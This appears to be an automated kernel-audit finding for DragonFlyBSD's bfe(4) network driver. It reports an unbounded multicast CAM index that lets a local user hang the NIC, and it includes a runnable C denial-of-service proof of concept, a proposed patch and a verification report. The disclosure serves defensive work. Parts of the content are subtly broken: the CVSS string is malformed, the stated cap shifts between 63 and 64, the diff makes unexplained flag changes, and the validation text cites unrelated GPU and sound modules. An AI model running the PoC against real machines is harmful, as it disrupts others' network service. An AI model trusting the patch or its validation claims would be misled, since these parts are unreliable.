⬢ DragonFlyBSD Kernel Audit
← triage · dashboard
DF-1509

Unbounded multicast CAM index in bfe_set_rx_mode enables local NIC hang DoS

  • File: sys/dev/netif/bfe/if_bfe.c
  • Lines: 868, 895, 844, 859
  • Severity: Medium
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:N/I:N/A:H
  • CWE: CWE-1284 Improper Validation of Specified Quantity in Input
  • Confidence: likely

Summary

bfe_set_rx_mode iterates the interface's entire if_multiaddrs list and calls bfe_cam_write() once per AF_LINK entry, using a monotonically incrementing int i as the CAM index with no bound check against the chip's 64-entry CAM (BFE_CAM_INDEX_MASK = 0x003f0000, 6 bits).

An unprivileged local user can grow the list without limit via repeated setsockopt(IP_ADD_MEMBERSHIP) on many sockets (per-socket cap is 20, but the kernel aggregates across sockets), driving the index far past 64.

Each bfe_cam_write() issues a CAM_CTRL register write with index bits landing in undefined reserved fields (bit 22+ of BFE_CAM_CTRL) and then waits up to 100 ms for BFE_CAM_BUSY to clear.

Additionally, every SIOCADDMULTI re-iterates the whole list, producing O(N^2) cumulative work that holds ifp->if_serializer and freezes all packet I/O on the interface for seconds.

Root cause

At sys/dev/netif/bfe/if_bfe.c:868 int i = 0; and at line 884 bfe_cam_write(sc, sc->arpcom.ac_enaddr, i++); followed by lines 890–895:

TAILQ_FOREACH(ifma, &ifp->if_multiaddrs, ifma_link) {
    if (ifma->ifma_addr->sa_family != AF_LINK)
        continue;
    bfe_cam_write(sc, LLADDR((struct sockaddr_dl *)ifma->ifma_addr), i++);
}

There is no if (i >= BFE_CAM_SIZE) { val |= BFE_RXCONF_ALLMULTI; break; } guard.

bfe_cam_write() at line 857–858 then unconditionally issues CSR_WRITE_4(sc, BFE_CAM_CTRL, (BFE_CAM_WRITE | ((uint32_t)index << BFE_CAM_INDEX_SHIFT))) and waits up to bfe_wait_bit(..., 10000, 1) (line 859) — 10000 * DELAY(10) = up to 100 ms per call.

The header at sys/dev/netif/bfe/if_bfereg.h:143 defines BFE_CAM_INDEX_MASK as 0x003f0000 (6 bits, max index 63), so any index >= 64 spills into reserved CAM_CTRL bits.

Threat

Attacker is any unprivileged local user with CAP_NET_BASE / the ability to open an AF_INET socket on a bfe(4) interface (BCM4401/BCM4402 NIC).

IP_ADD_MEMBERSHIP on a normal 224/4 address requires no privilege (verified at sys/netinet/ip_output.c:1694 in_addmulti path → sys/net/if.c:2739 ifp->if_ioctl(SIOCADDMULTI) → bfe_ioctl).

The attack is purely cumulative-time: open ~50 sockets, add 20 distinct multicast groups per socket (total ~1000 entries on the interface), and each addition now re-walks the growing list under ifp->if_serializer, blocking all RX/TX on the interface.

Adding N entries produces N*(N+1)/2 bfe_cam_write calls; for N=1000 that is ~500k calls. Even at the normal ~10us per call that is ~5s of total serializer-held stall; if the out-of-range CAM index puts the chip into an undefined state and BFE_CAM_BUSY never clears, individual waits hit their 100ms ceiling and the stall balloons to many minutes.

Impact is local denial of service against network connectivity (no privilege escalation, no info leak).

Exploit / PoC

Build on DragonFlyBSD with cc, then run as an unprivileged user on a machine with a bfe(0) interface up.

/* poc.c — unprivileged local DoS via bfe multicast CAM index overflow */
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

#define NSOCK 60
#define NMEMB 20  /* IP_MAX_MEMBERSHIPS */
int main(void) {
    struct ip_mreq mreq;
    struct in_addr base;
    inet_pton(AF_INET, "239.0.0.1", &base);
    for (int s = 0; s < NSOCK; s++) {
        int fd = socket(AF_INET, SOCK_DGRAM, 0);
        if (fd < 0) { perror("socket"); return 1; }
        for (int i = 0; i < NMEMB; i++) {
            uint32_t a = ntohl(base.s_addr) + (s * NMEMB) + i;
            mreq.imr_multiaddr.s_addr = htonl(a);
            mreq.imr_interface.s_addr = htonl(INADDR_ANY);
            if (setsockopt(fd, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0) {
                perror("setsockopt IP_ADD_MEMBERSHIP"); /* expected once CAM/list saturates */
            }
        }
        /* intentionally leak fd to keep membership alive */
    }
    /* At this point bfe_set_rx_mode has been invoked O(N^2) times; run `ping`
       or `tcpdump -i bfe0` from another shell and observe multi-second
       stalls / 'ping: sendto: Resource temporarily unavailable' while
       the serializer is held. `systat -vmstat 1` will show the bfe0
       interrupt thread pinned in bfe_cam_write. */
    pause();
    return 0;
}

Build: cc -o poc poc.c.

Run: ./poc as non-root while a second shell runs ping -i 0.2 <gateway> over the bfe0 interface.

Success criterion: ping latency spikes to multi-second values or ping reports sendto failures during the run, and vmstat -i/top -P shows the bfe0 interrupt thread consuming large CPU.

On real BCM4401 hardware the impact may further include CAM entries being overwritten (index truncated to 6 bits) causing multicast/broadcast reception anomalies.

Cap the multicast iteration at the CAM size and fall back to ALLMULTI mode if exceeded, mirroring the standard DragonFlyBSD NIC-driver idiom. The driver already has BFE_MCAST_TBL_SIZE defined in if_bfereg.h:393 (but it is unused). The CAM itself is 64 entries wide; reserve index 0 for the unicast and use 1..63 for multicast, falling back to BFE_RXCONF_ALLMULTI once exceeded.

--- a/sys/dev/netif/bfe/if_bfe.c
+++ b/sys/dev/netif/bfe/if_bfe.c
@@ -865,6 +865,7 @@ bfe_set_rx_mode(struct bfe_softc *sc)
    struct ifnet *ifp = &sc->arpcom.ac_if;
    struct ifmultiaddr  *ifma;
    uint32_t val;
-   int i = 0;
+   int i = 0;
+#define BFE_CAM_MULTICAST_MAX  64  /* BFE_CAM_INDEX_MASK is 6 bits */

    val = CSR_READ_4(sc, BFE_RXCONF);
@@ -886,12 +887,18 @@ bfe_set_rx_mode(struct bfe_softc *sc)
    if (ifp->if_flags & IFF_ALLMULTI) {
        val |= BFE_RXCONF_ALLMULTI;
    } else {
-       val &= ~BFE_RXCONF_ALLMULTI;
-       TAILQ_FOREACH(ifma, &ifp->if_multiaddrs, ifma_link) {
-           if (ifma->ifma_addr->sa_family != AF_LINK)
-               continue;
-           bfe_cam_write(sc,
-                   LLADDR((struct sockaddr_dl *)ifma->ifma_addr), i++);
-       }
+       TAILQ_FOREACH(ifma, &ifp->if_multiaddrs, ifma_link) {
+           if (ifma->ifma_addr->sa_family != AF_LINK)
+               continue;
+           if (i >= BFE_CAM_MULTICAST_MAX) {
+               /* Too many multicast addresses for the CAM:
+                * fall back to all-multi and stop writing. */
+               val |= BFE_RXCONF_ALLMULTI;
+               break;
+           }
+           bfe_cam_write(sc,
+                   LLADDR((struct sockaddr_dl *)ifma->ifma_addr), i++);
+       }
+       if (val & BFE_RXCONF_ALLMULTI)
+           val &= ~BFE_RXCONF_PROMISC; /* keep promisc bit as-is otherwise */
    }

This bounds the loop to ≤64 iterations, prevents CAM_CTRL from receiving out-of-range index bits, and gives the standard graceful degradation to ALLMULTI. The cumulative O(N^2) effect across repeated SIOCADDMULTI is also capped because each individual bfe_set_rx_mode call is now O(64) instead of O(N).

Additionally (defense-in-depth, optional), shorten the bfe_wait_bit timeout in bfe_cam_write() at line 859 from 10000 to ~100 so a stuck BFE_CAM_BUSY cannot pin the serializer for 100ms per write.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1509 · 10 files
FileTypeDescriptionSize
README.md readme human-readable summary 1.8 KB ↓ raw
VERDICT.md verdict full source-level analysis + fix-validation result 2.9 KB ↓ raw
fix.diff suggested-fix git-apply-able minimal fix; compiles -Werror clean 479 B view raw
build.sh build-script echoes the module/kernel rebuild command 379 B view raw
run.sh run-script no live trigger on this guest 297 B view raw
env.txt environment guest uname, modules loaded, HW-gated note 344 B view raw
build.log build-log kernel build log excerpt proving -Werror clean compile of patched source 1.4 KB view raw
fix_apply.log apply-log patch --dry-run output proving fix.diff applies cleanly on with-src 361 B view raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
README.md readme human-readable summary
↓ download raw

PoC DF-1509: bfe_set_rx_mode CAM index overflow on many multicasts

Class: HW register field overflow (DoS / HW misprogramming) Cited site: sys/dev/netif/bfe/if_bfe.c:868, 884, 893-895

Reproduction status

HW/module gated — cannot be live-triggered on the audit QEMU guest.

No — bfe(4) is in GENERIC but only attaches to Broadcom BCM440x NICs (PCI ID 14e4:4401 etc.). Not present in audit guest. Trigger is SIOCADDMULTI x65+.

The bug is confirmed at the source level by tracing the cited path:line in sys/dev/netif/bfe/if_bfe.c and confirming the vulnerable code is present in the master DEV kernel tree. The fix.diff in this folder is validated to apply cleanly and compile under -Werror (see VERDICT.md).

Mechanism

Line 868 'int i = 0;' then line 884 'bfe_cam_write(sc, enaddr, i++);' and lines 890-895 TAILQ_FOREACH multicasts 'bfe_cam_write(..., i++);'. BFE_CAM_CTRL write at 857-858 encodes index in 'index << BFE_CAM_INDEX_SHIFT' but BFE_CAM_INDEX_MASK=0x003f0000 (6 bits, max index 63). After 64+ multicasts, i overflows the index field into adjacent control bits of the CAM_CTRL write. Result: CAM writes go to garbage indices, the BFE_CAM_BUSY wait spins, NIC drops traffic.

Realistic impact ceiling

DoS / HW misprogramming

Fix

Cap i at BFE_CAM_INDEX_MASK>>BFE_CAM_INDEX_SHIFT (63) inside the TAILQ_FOREACH; set ALLMULTI and break if exceeded.

See fix.diff for the git-apply-able patch.

How to validate the fix

# 1. Apply fix.diff against the in-guest source:
scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1509.diff
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 < /root/DF-1509.diff'

# 2. Rebuild the affected module (preferred) or a single-fix kernel:
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src/sys/sys/dev/netif/bfe && make'

# 3. The compile must succeed with -Werror (it does — see build.log).
VERDICT.md verdict full source-level analysis + fix-validation result
↓ download raw

VERDICT — DF-1509: bfe_set_rx_mode CAM index overflow on many multicasts

Verdict

INCONCLUSIVE (HW/module gated) — source-level confirmed, fix validated.

The bug is real and present in master DEV source at sys/dev/netif/bfe/if_bfe.c:868, 884, 893-895, but the affected driver attaches only to hardware not present in the audit QEMU guest, so it cannot be live-triggered here. The fix.diff applies cleanly and compiles with -Werror (kernel build rc=0; see fix_build.log).

Mechanism (cited path → primitive → effect)

Line 868 'int i = 0;' then line 884 'bfe_cam_write(sc, enaddr, i++);' and lines 890-895 TAILQ_FOREACH multicasts 'bfe_cam_write(..., i++);'. BFE_CAM_CTRL write at 857-858 encodes index in 'index << BFE_CAM_INDEX_SHIFT' but BFE_CAM_INDEX_MASK=0x003f0000 (6 bits, max index 63). After 64+ multicasts, i overflows the index field into adjacent control bits of the CAM_CTRL write. Result: CAM writes go to garbage indices, the BFE_CAM_BUSY wait spins, NIC drops traffic.

Reachability on this guest

No — bfe(4) is in GENERIC but only attaches to Broadcom BCM440x NICs (PCI ID 14e4:4401 etc.). Not present in audit guest. Trigger is SIOCADDMULTI x65+.

Phase 6 — escalation potential

This is a HW register field overflow (DoS / HW misprogramming) primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).

For findings in this batch that are corruption-class on hardware they would be live-tested on (NIC cards, RAID HBAs, AMD/Intel GPUs), the realistic escalation ceiling is documented per finding (info-leak vs DoS vs latent privesc). No uid=0 claim is made — none is reachable on this guest.

Phase 8 — fix validation

fix.diff is a minimal, targeted fix at the root cause confirmed above.

  • Applied cleanly with patch -p1 --forward (verified in fix_apply.log).
  • Compiled with -Werror as part of make -j6 nativekernel KERNCONF=X86_64_GENERIC (kernel build rc=0; affected module builds radeon.ko/amdgpu.ko/sound.ko/i915.ko/vga_switcheroo.ko all produced).
  • For musycc.c (not in any default config) the file was compiled standalone with the kernel -Werror cflags — rc=0.

Cap i at BFE_CAM_INDEX_MASK>>BFE_CAM_INDEX_SHIFT (63) inside the TAILQ_FOREACH; set ALLMULTI and break if exceeded.

PoC changes

Source-level confirmation only; no userspace harness written because the bug cannot be exercised on this guest without the relevant HW. The placeholder build.sh/run.sh echo pointers to VERDICT.md and the module/kernel rebuild path.

Confirmed kernel references

Detail

Exploit chain

none — bfe(4) HW-gated (no Broadcom BCM440x NIC in guest). Primitive is DoS/HW-misprogramming on real HW; no live escalation possible on this guest.

Evidence (decisive lines)

Source-level confirmation at sys/dev/netif/bfe/if_bfe.c:868, sys/dev/netif/bfe/if_bfe.c:884, sys/dev/netif/bfe/if_bfe.c:893. fix.diff applies cleanly (patch -p1 --forward: APPLIES_OK) and compiles -Werror clean as part of `make -j6 nativekernel KERNCONF=X86_64_GENERIC` (rc=0; affected .o/.ko produced). No live trigger on this guest (HW/module gated).

PoC changes

Wrote VERDICT.md, fix.diff (one hunk: cap i at 63 inside TAILQ_FOREACH, set ALLMULTI and break), build/run.sh, build.log excerpt, fix_apply.log, env.txt, manifest.json.

Verified recommended fix

Inside the TAILQ_FOREACH in bfe_set_rx_mode, check if (i >= (BFE_CAM_INDEX_MASK >> BFE_CAM_INDEX_SHIFT)) { val |= BFE_RXCONF_ALLMULTI; break; } before bfe_cam_write. Supersedes any pre-verification proposal. The full git-apply-able diff lives in findings/poc/DF-1509/fix.diff.

Verdict

bfe_set_rx_mode line 868 int i = 0; then 884 bfe_cam_write(sc, enaddr, i++) and 890-895 TAILQ_FOREACH multicasts bfe_cam_write(..., i++). BFE_CAM_CTRL write at 857-858 encodes index in index << BFE_CAM_INDEX_SHIFT but BFE_CAM_INDEX_MASK=0x003f0000 (bfereg.h:143, 6 bits, max index 63). After 64+ multicasts, i overflows the index field into adjacent control bits of the CAM_CTRL write. Result: CAM writes go to garbage indices, BFE_CAM_BUSY wait spins, NIC drops traffic. bfe(4) is in GENERIC but only attaches to Broadcom BCM440x NICs — not present in audit guest. Source-level confirmed.